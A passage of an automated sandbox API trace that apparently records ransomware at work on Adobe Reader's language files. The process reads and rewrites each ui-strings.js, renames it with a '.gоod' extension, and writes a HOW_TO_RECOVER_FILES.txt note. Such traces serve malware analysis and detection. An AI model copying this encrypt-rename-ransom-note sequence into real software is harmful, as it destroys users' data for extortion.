ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0192.638] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0192.638] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0192.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0192.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0192.638] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0192.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0192.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x349c0f0 | out: lpFileInformation=0x349c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f86)) returned 1 [0192.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0192.639] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0192.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0192.639] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0192.639] GetFileType (hFile=0x7f8) returned 0x1 [0192.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0192.639] GetFileType (hFile=0x7f8) returned 0x1 [0192.639] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0192.639] ReadFile (in: hFile=0x7f8, lpBuffer=0x349c5d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x349c5d8*, lpNumberOfBytesRead=0x1ffebaa8*=0xf86, lpOverlapped=0x0) returned 1 [0192.646] CloseHandle (hObject=0x7f8) returned 1 [0192.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0192.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0192.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0192.647] GetFileType (hFile=0x7f8) returned 0x1 [0192.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0192.647] GetFileType (hFile=0x7f8) returned 0x1 [0192.647] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1f86 [0192.647] WriteFile (in: hFile=0x7f8, lpBuffer=0x349d8d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x349d8d8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0192.647] CloseHandle (hObject=0x7f8) returned 1 [0192.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0192.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0192.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0192.648] GetFileType (hFile=0x7f8) returned 0x1 [0192.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0192.648] GetFileType (hFile=0x7f8) returned 0x1 [0192.648] ReadFile (in: hFile=0x7f8, lpBuffer=0x349fc00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x349fc00*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0194.435] CloseHandle (hObject=0x7f8) returned 1 [0194.435] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0194.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0194.435] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0194.436] GetFileType (hFile=0x7f8) returned 0x1 [0194.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0194.436] GetFileType (hFile=0x7f8) returned 0x1 [0194.436] WriteFile (in: hFile=0x7f8, lpBuffer=0x3494420*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3494420*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0194.436] CloseHandle (hObject=0x7f8) returned 1 [0194.436] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0194.436] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0194.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0194.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x701becd7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f96)) returned 1 [0194.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0194.436] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nl-nl\\ui-strings.js.gоod")) returned 1 [0194.437] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0194.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0194.438] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\nl-nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0194.438] GetFileType (hFile=0x7f8) returned 0x1 [0194.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0194.438] GetFileType (hFile=0x7f8) returned 0x1 [0194.439] WriteFile (in: hFile=0x7f8, lpBuffer=0x3519f90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3519f90*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0194.440] CloseHandle (hObject=0x7f8) returned 1 [0194.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0194.440] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl", lpFilePart=0x0) returned 0x6a [0194.440] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.442] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.442] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0194.442] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0194.442] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0194.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0194.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0194.442] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl", lpFilePart=0x0) returned 0x6a [0194.442] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.443] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.443] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0194.443] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0194.443] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0194.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0194.443] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0194.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0194.443] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3529bf8 | out: lpFileInformation=0x3529bf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fbd)) returned 1 [0194.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0194.444] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0194.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0194.444] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0194.444] GetFileType (hFile=0x7f8) returned 0x1 [0194.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0194.444] GetFileType (hFile=0x7f8) returned 0x1 [0194.444] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0194.444] ReadFile (in: hFile=0x7f8, lpBuffer=0x352a0e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x352a0e0*, lpNumberOfBytesRead=0x1ffebaa8*=0xfbd, lpOverlapped=0x0) returned 1 [0194.446] CloseHandle (hObject=0x7f8) returned 1 [0194.446] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0194.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0194.446] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0194.446] GetFileType (hFile=0x7f8) returned 0x1 [0194.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0194.446] GetFileType (hFile=0x7f8) returned 0x1 [0194.446] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1fbd [0194.446] WriteFile (in: hFile=0x7f8, lpBuffer=0x352b660*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x352b660*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0194.447] CloseHandle (hObject=0x7f8) returned 1 [0194.447] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0194.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0194.447] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0194.447] GetFileType (hFile=0x7f8) returned 0x1 [0194.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0194.447] GetFileType (hFile=0x7f8) returned 0x1 [0194.447] ReadFile (in: hFile=0x7f8, lpBuffer=0x352d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x352d988*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0195.845] CloseHandle (hObject=0x7f8) returned 1 [0195.845] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0195.845] 